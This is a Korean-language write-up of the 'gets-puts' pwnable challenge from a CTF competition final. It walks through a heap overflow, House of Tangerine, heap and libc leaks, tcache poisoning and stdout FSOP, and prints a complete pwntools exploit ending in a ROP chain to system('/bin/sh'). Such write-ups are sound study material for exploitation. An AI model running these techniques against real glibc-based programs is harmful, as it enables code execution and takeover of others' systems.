[Writeups][Club League 2025: Final] gets-puts

Club League 2025 Final์— ๋‚˜๊ฐ€์„œ ํฌ๋„ˆ๋ธ” ํ•˜๋‚˜๋ฅผ ํ’€์—ˆ๋‹ค. ๋งˆ์ง€๋ง‰์— libc๋ฅผ ์ž˜๋ชป ๋ฝ‘๊ณ  ๋กœ๋˜๋ฆฌ์•ˆ ๊ฑธ๋ ค์„œ ์Œฉ์‘ˆํ•˜๋‹ค๊ฐ€ ๋‹ค ๋•Œ๋ ค๋ถ€์ˆ ๋ป” ํ–ˆ๋Š”๋ฐ, ๋‹คํ–‰ํžˆ๋„ ๋ฆฌ๋ชจํŠธ์—์„œ ๋งˆ๋ฌด๋ฆฌ๋Š” ๋”ด ๋ถ„์ด ํ•ด์ฃผ์…จ๋‹ค.

1. ๋ฐ”์ด๋„ˆ๋ฆฌ ๋ถ„์„

IDA๋กœ ๋”ฐ๋ณผ ํ•„์š”๋„ ์—†์ด ์ฝ”๋“œ๊ฐ€ ์ฃผ์–ด์กŒ๋‹ค.

// gcc -o gets-puts main.c
#include <stdio.h>
#include <stdlib.h>

int main()
{
    char *ptr = 0;
    char buf[32];

    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);

    while (1) {
        puts("1. malloc");
        puts("2. gets");
        puts("3. puts");
        printf("> ");
        scanf("%16s%*c", buf);
        switch (atoi(buf)) {
        case 1:
            printf("size: ");
            scanf("%16s%*c", buf);
            ptr = malloc(atoi(buf));
            break;
        case 2:
            gets(ptr);
            break;
        case 3:
            puts(ptr);
            break;
        }
    }
}

ํž™์˜ค๋ฒ„๊ฐ€ ๋ฐ”๋กœ ๋ณด์ธ๋‹ค. ๋‹ค๋งŒ ๊ด€๋ฆฌํ•  ์ˆ˜ ์žˆ๋Š” ์ฒญํฌ๊ฐ€ ํ•˜๋‚˜๋ฐ–์— ์—†๊ณ , ๋”ฑํžˆ free()๊ฐ€ ์—†๊ธฐ ๋•Œ๋ฌธ์— House of Tangerine์„ ์ƒ๊ฐํ•ด ๋ณผ ์ˆ˜ ์žˆ๋‹ค. checksec์„ ํ†ตํ•ด ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์‚ดํŽด๋ณด๋ฉด checksec ์œ„์™€ ๊ฐ™์ด canary๋„ ๊ฑธ๋ ค์žˆ์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์— ๋งˆ๋ฌด๋ฆฌ๋Š” environ + ROP๋‚˜ FSOP๋ฅผ ์‚ฌ์šฉํ•ด๋ณผ ์ˆ˜ ์žˆ๊ฒ ๋‹ค ์ƒ๊ฐํ•  ์ˆ˜ ์žˆ๋‹ค.

2. House of Tangerine

์šฐ์„  House of Tangerine์„ ์ž˜ ๋ชป ์“ฐ๊ธฐ ๋•Œ๋ฌธ์—, ์˜ˆ์ „์— ๋Œ€์ถฉ ๊ณ„์‚ฐํ•ด๋’€๋˜ ์ˆซ์ž๋“ค์„ ์‚ฌ์šฉํ–ˆ๋‹ค. ๊ณต๊ฒฉ ๋ฐฉ์‹์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

  1. 0x10 ํฌ๊ธฐ์˜ ์ฒญํฌ๋ฅผ ํ• ๋‹นํ•จ
  2. 0xd00 - 0x10 ํฌ๊ธฐ์˜ ์ฒญํฌ๋ฅผ ํ• ๋‹นํ•จ
  3. ํƒ‘ ์ฒญํฌ์˜ ํฌ๊ธฐ๋ฅผ 0x51๋กœ overwriteํ•จ
  4. 0x60 ํฌ๊ธฐ์˜ ์ฒญํฌ๋ฅผ ํ• ๋‹นํ•จ

์ด๋ ‡๊ฒŒ ํ•˜๋ฉด ๊ธฐ์กด Top Chunk๊ฐ€ sysmalloc() ๊ฒฝ๋กœ๋ฅผ ํƒ€๋ฉฐ 0x20 ์ฒญํฌ๊ฐ€ ๋˜์–ด tcache์— ๋“ค์–ด๊ฐ€๋ฐ ๋œ๋‹ค. ์ž์„ธํ•œ ์›๋ฆฌ๋Š” ๊ธฐ์–ต๋„ ์•ˆ ๋‚˜๊ณ  ๊ณต๋ถ€ํ•  ๋•Œ ์ดํ•ด๋„ ์ œ๋Œ€๋กœ ๋ชป ํ•ด์„œ ์ž˜ ๋ชจ๋ฅด๊ฒ ๋‹ค. ๋‚˜์ค‘์— ๊ธฐํšŒ๊ฐ€ ๋˜๋ฉด ์ข€ ๋” ์ž์„ธํžˆ ๋ถ„์„ํ•ด์„œ ์จ๋ณด๋ ค ํ•œ๋‹ค.

3. AAR / AAW

3-1. Heap Leak

ํž™ ๋ฆญ์€ ๊ต‰์žฅํžˆ ๊ฐ„๋‹จํ•˜๋‹ค. ์•ž์„œ tcache์— ๋„ฃ์€ ์ฒญํฌ๋ฅผ ๊ทธ๋Œ€๋กœ ํ• ๋‹น๋ฐ›์€ ํ›„, key ํ•„๋“œ๊ฐ€ zeroing ๋˜์—ˆ๋‹ค๋Š” ์ ์„ ๊ณ ๋ คํ•ด 8๋ฐ”์ดํŠธ๋งŒํผ ์•„๋ฌด ๋ฌธ์ž๋กœ๋‚˜ ์ฑ„์›Œ์ค€ ํ›„ ์ฝ์œผ๋ฉด ๋œ๋‹ค.

malloc(0x10)
malloc(0xd00 - 0x10)

payload  = b'A' * (0xd00 - 0x8)
payload += p64(0x51)
gets(payload)

malloc(0x60)
malloc(0x20)
puts()

heap = u64(b"\x00\x00\x00" + p.recvn(5)) >> 12
key = heap >> 12
success(f"heap: {hex(heap)} key: {hex(key)}")

3-1. Libc Leak

์šฐ์„  ์œ„์—์„œ ์ œ์‹œํ•œ ๋ฐฉ๋ฒ•์œผ๋กœ๋Š” tcache์—๋ฐ–์— ์ฒญํฌ๋ฅผ ๋ชป ๋„ฃ๊ธฐ ๋•Œ๋ฌธ์—, ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์„ ์ƒ๊ฐํ•ด์•ผ ํ•œ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ House of Tangerine์„ ์—ฐ์†์œผ๋กœ ์‚ฌ์šฉํ•ด 0x20 ํฌ๊ธฐ์˜ free๋œ ์ฒญํฌ๋ฅผ ๊ณ„์† ํ• ๋‹นํ•˜๋‹ค ๋ณด๋ฉด ๊ฝค๋‚˜ ์žฌ๋ฏธ์žˆ๋Š” ์‚ฌ์‹ค์„ ํ•˜๋‚˜ ๋ฐœ๊ฒฌํ•  ์ˆ˜ ์žˆ๋‹ค.

fastbin-2.png
fastbin-2.png

์œ„์˜ ์‚ฌ์ง„์—์„œ ๋ณผ ์ˆ˜ ์žˆ๋“ฏ ์›๋ž˜ tcache๊ฐ€ ๊ฝ‰ ์ฐฌ ์ƒํƒœ์—์„œ 0x20 ํฌ๊ธฐ์˜ ์ฒญํฌ๊ฐ€ free๋˜๋ฉด ๋ชจ๋‘ fastbin์œผ๋กœ ๋“ค์–ด๊ฐ€์•ผ ํ•˜๋Š”๋ฐ, sysmalloc()์ด ํ˜ธ์ถœ๋˜๋ฉฐ ๋ชจ์ข…์˜ ์ด์œ ๋กœ ์ฒญํฌ๋“ค์ด ์ž์‹ ์˜ ์‚ฌ์ด์ฆˆ์— ๋งž๋Š” ๊ณณ์œผ๋กœ ์žฌ๋ฐฐ์น˜๋˜๋Š” ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค. ์ฆ‰ smallbin์— ๋“ค์–ด๊ฐ„ ์ฒญํฌ๋ฅผ ๊บผ๋‚ด์˜จ ํ›„ ๊ฐ’์„ ์ฝ์œผ๋ฉด unsorted bin์— ๋“ค์–ด๊ฐ”๋‹ค ๋‚˜์˜จ ์ฒญํฌ์ฒ˜๋Ÿผ fd๊ฐ’์„ ์ฝ์–ด main_arena+N ๊ฐ’์„ ์ฝ์„ ์ˆ˜ ์žˆ๊ฒŒ ๋˜๊ณ , ์ด๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด libc leak์ด ๊ฐ€๋Šฅํ•ด์ง„๋‹ค.

# 1. fill tcache
for i in range(7):
    malloc(0xf40 - 0x10)
    payload  = b"A" * (0xf40 - 0x8)
    payload += p64(0x51)
    gets(payload)
    malloc(0x60)

# 2. fastbin + smallbin
for i in range(2):
    malloc(0xf40 - 0x10)
    payload  = b"A" * (0xf40 - 0x8)
    payload += p64(0x51)
    gets(payload)
    malloc(0x60)

# 3. empty tcache
for i in range(7):
    malloc(0x20)

malloc(0x20)  # fastbin
malloc(0x20)  # smallbin
puts()
libc.address = u64(p.recvn(6) + b"\x00\x00") - 0x1d2ce0
success(f"libc: {hex(libc.address)}")

3-2. Tcache Poisoning

๊ฐ€์žฅ ์ง€์˜ฅ๊ฐ™์€ ๋ถ€๋ถ„์ด์—ˆ๋‹ค. ์ฒญํฌ๋ฅผ ํ•˜๋‚˜๋ฐ–์— ๊ด€๋ฆฌํ•  ์ˆ˜ ์—†๊ณ  ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋Š” ๋‚ฎ์€ ๋ฐฉํ–ฅ์—์„œ ๋†’์€ ๋ฐฉํ–ฅ์œผ๋กœ ์ผ์–ด๋‚˜๊ธฐ ๋•Œ๋ฌธ์—, ๋ญ”๊ฐ€ fastbin reverse into tcache์™€ ๋น„์Šทํ•œ ๋ฐฉ๋ฒ•์„ ์จ์•ผ ํ–ˆ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ House of Tangerine์„ ์‚ฌ์šฉํ•ด ์ฒญํฌ๋ฅผ ํ•ด์ œ์‹œํ‚ค๋ฉด ์žฌ๋ฐฐ์น˜๊ฐ€ ์ผ์–ด๋‚˜ fastbin์— ๋“ค์–ด์žˆ๋˜ ์ฒญํฌ๋“ค์ด ์ž์‹ ์˜ ํฌ๊ธฐ์™€ ๋งž๋Š” bin์œผ๋กœ ์ด๋™ํ•˜๋‹ˆ, ์ด๊ฑธ ์“ธ ์ˆ˜๋Š” ์—†์—ˆ๋‹ค. ๊ทธ๋ž˜์„œ ์ด๋Ÿฐ ๊ณต๊ฒฉ๋ฐฉ์‹์„ ์˜จ๋ชธ์„ ๋น„ํ‹€์–ด์„œ ์ƒ๊ฐํ•ด๋ƒˆ๋‹ค.

  1. tcache๋ฅผ ์ฑ„์šด๋‹ค. 1๋ฒˆ์ฒญํฌ๋ถ€ํ„ฐ 7๋ฒˆ์ฒญํฌ๊ฐ€ ๋“ค์–ด๊ฐ”๋‹ค ์น˜์ž.
  2. 4๊ฐœ์˜ ์ฒญํฌ๋ฅผ ๋” free()ํ•œ๋‹ค. A, B, C, D๊ฐ€ free๋˜์—ˆ๋‹ค๊ณ  ์น˜๋ฉด bin์˜ ๋ชจ์Šต์ด ๋‹ค์Œ๊ณผ ๊ฐ™์„ ๊ฒƒ์ด๋‹ค.
    ย ย fastbin: D
    ย ย smallbin: A โ†’ B โ†’ C (์ฐธ๊ณ ๋กœ smallbin์€ FIFO๋‹ค!)
  3. tcache๋ฅผ ๋น„์šด ํ›„, ์ฒญํฌ๋ฅผ ํ•˜๋‚˜ ๊บผ๋‚ด๋ฉด fastbin์˜ D๊ฐ€ ๋‚˜๊ฐˆ ๊ฒƒ์ด๋‹ค.
  4. ์ฒญํฌ๋ฅผ ํ•˜๋‚˜ ๋” ๊บผ๋‚ด๋ฉด, smallbin์˜ ์ฒญํฌ A๊ฐ€ ๋‚˜๊ฐ๊ณผ ๋™์‹œ์— ๋‚จ์€ ์ฒญํฌ๋“ค์ด tcache๋กœ ๋“ค์–ด๊ฐ„๋‹ค.
  5. ๊ทธ๋Ÿฌ๋‚˜ A๋Š” B, C๋ณด๋‹ค ๋†’์€ ์ฃผ์†Œ์— ์กด์žฌํ•˜๊ธฐ ๋•Œ๋ฌธ์—, ๊ฐ„๋‹จํ•œ heap overflow๋ฅผ ํ†ตํ•ด tcache poisoning์ด ๊ฐ€๋Šฅํ•ด์ง„๋‹ค.

์ด ์ •๋„๋กœ ์˜จ๋ชธ์„ ๋น„ํŠธ๋Š” ๋ฌธ์ œ๋Š” ์•„๋‹ˆ์—ˆ๋Š”๋ฐ, ์–ด์จŒ๋“  ์ด๋ ‡๊ฒŒ AAW/AAR ํ”„๋ฆฌ๋ฏธํ‹ฐ๋ธŒ๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์—ˆ๋‹ค.

4. Exploit

์ด์ œ ํ•  ๊ฑด ๋‹ค ํ–ˆ๋‹ค. ๋งˆ๋ฌด๋ฆฌ๋Š” FSOP๋กœ environ ์œ ์ถœ ํ›„ gets()์˜ return address ์˜คํ”„์…‹ ๊ณ„์‚ฐ, system("/bin/sh")๋กœ ROP๋ฅผ ์ž‘์„ฑํ•ด์„œ ๋งˆ๋ฌด๋ฆฌํ–ˆ๋‹ค. ์ „์ฒด ์ต์Šคํ”Œ๋กœ์ž‡ ์ฝ”๋“œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

ํŽผ์น˜๊ธฐ/์ ‘๊ธฐ
from pwn import *

p = process("./gets-puts")
# context.binary = "./gets-puts"
libc = ELF("libc.so.6")

# context.log_level = "debug"

def malloc(sz):
p.sendlineafter(b"> ", b'1')
p.sendlineafter(b": ", str(sz).encode())

def gets(data):
p.sendlineafter(b"> ", b'2')
p.sendline(data)

def puts():
p.sendlineafter(b"> ", b'3')


# 1st tcache
malloc(0x10)
malloc(0xd00 - 0x10)

payload  = b'A' * (0xd00 - 0x8)
payload += p64(0x51)
gets(payload)

malloc(0x60)
malloc(0x20)
puts()

heap = u64(b"\x00\x00\x00" + p.recvn(5)) >> 12
key = heap >> 12
success(f"heap: {hex(heap)} key: {hex(key)}")

# 1. fill tcache
for i in range(7):
malloc(0xf40 - 0x10)
payload  = b"A" * (0xf40 - 0x8)
payload += p64(0x51)
gets(payload)
malloc(0x60)

# 2. fastbin + smallbin
for i in range(2):
malloc(0xf40 - 0x10)
payload  = b"A" * (0xf40 - 0x8)
payload += p64(0x51)
gets(payload)
malloc(0x60)

# 3. empty tcache
for i in range(7):
malloc(0x20)

malloc(0x20)  # fastbin
malloc(0x20)  # smallbin
puts()
libc.address = u64(p.recvn(6) + b"\x00\x00") - 0x1d2ce0
success(f"libc: {hex(libc.address)}")

###############################################

# 1. fill tcache
for i in range(7):
malloc(0xf40 - 0x10)
payload  = b"A" * (0xf40 - 0x8)
payload += p64(0x51)
gets(payload)
malloc(0x60)

gdb.attach(p, "set solib-search-path /home/flyahn06/SecurityFACT/club_league_2025_final/gets-puts/for_user"); pause(1)
# 2. fastbin + smallbin
for i in range(4):
malloc(0xf40 - 0x10)
payload  = b"A" * (0xf40 - 0x8)
payload += p64(0x51)
gets(payload)
malloc(0x60)

# 3. empty tcache
for i in range(7):
malloc(0x20)

malloc(0x20)
malloc(0x20)

payload  = b"A" * (0x44000 - 0x8)
payload += p64(0x31) + p64((libc.symbols["_IO_2_1_stdout_"]) ^ (key + 0x285))
gets(payload)

malloc(0x20)
malloc(0x20)

payload  = p64(0xfbad2887)
payload += p64(libc.symbols["_IO_2_1_stdout_"] + 0x83)
payload += p64(libc.symbols["environ"])  # _IO_read_end
payload += p64(libc.symbols["_IO_2_1_stdout_"] + 0x83)  # _IO_read_base
payload += p64(libc.symbols["environ"])        # _IO_write_base
payload += p64(libc.symbols["environ"] + 0x8)  # _IO_write_ptr
payload += p64(libc.symbols["environ"] + 0x8)  # _IO_write_end
payload += p64(libc.symbols["_IO_2_1_stdout_"] + 0x83)  # buf base...
payload += p64(libc.symbols["_IO_2_1_stdout_"] + 0x84)  # buf base...
gets(payload)

env = u64(p.recvn(6) + b"\x00\x00")

#############################################

# 1. fill tcache
for i in range(7):
malloc(0xf40 - 0x10)
payload  = b"A" * (0xf40 - 0x8)
payload += p64(0x51)
gets(payload)
malloc(0x60)

# 2. fastbin + smallbin
for i in range(4):
malloc(0xf40 - 0x10)
payload  = b"A" * (0xf40 - 0x8)
payload += p64(0x51)
gets(payload)
malloc(0x60)

# 3. empty tcache
for i in range(7):
malloc(0x20)

malloc(0x20)
malloc(0x20)

payload  = b"A" * (0x44000 - 0x8)

print(env - 0x198, key + 0x3fb)
payload += p64(0x31) + p64((env - 0x198) ^ (key + 0x3fb))
gets(payload)

malloc(0x20)
malloc(0x20)

success(f"target: {hex(env - 0x198)}")
payload  = b'A' * 0x8
payload += b'B' * 0x8
payload += b'C' * 0x8
payload += b'C' * 0x8
payload += b'C' * 0x8
payload += p64(libc.address + 0x0000000000027725)
payload += p64(libc.address + 0x196031)
payload += p64(libc.address + 0x00000000000270c2)
payload += p64(libc.symbols["system"])

gets(payload)

p.interactive()

5. ์—ฌ๋‹ด

์ธํ…์€ ๋‹น์—ฐํžˆ ์ด๋”ฐ๊ตฌ๋กœ ํ‘ธ๋Š” ๊ฑด ์•„๋‹ˆ๊ณ , unsorted bin์„ ํ†ตํ•œ leak + FSOP๋กœ ์‰˜์„ ์–ป๋Š” ๊ฑฐ์˜€๋‹ค. ๋‚œ exit()์ด ํ˜ธ์ถœ๋  ๋•Œ _IO_close_all()์„ ํ†ตํ•œ FSOP ๋ฐฉ๋ฒ•๋งŒ ์•Œ๊ณ  ์žˆ์–ด์„œ ์“ฐ์ง„ ๋ชปํ–ˆ๋Š”๋ฐ, ์ข€ ์—ฐ๊ตฌํ•ด๋ด์•ผ๊ฒ ๋‹ค.

Categories:

Updated:

Leave a comment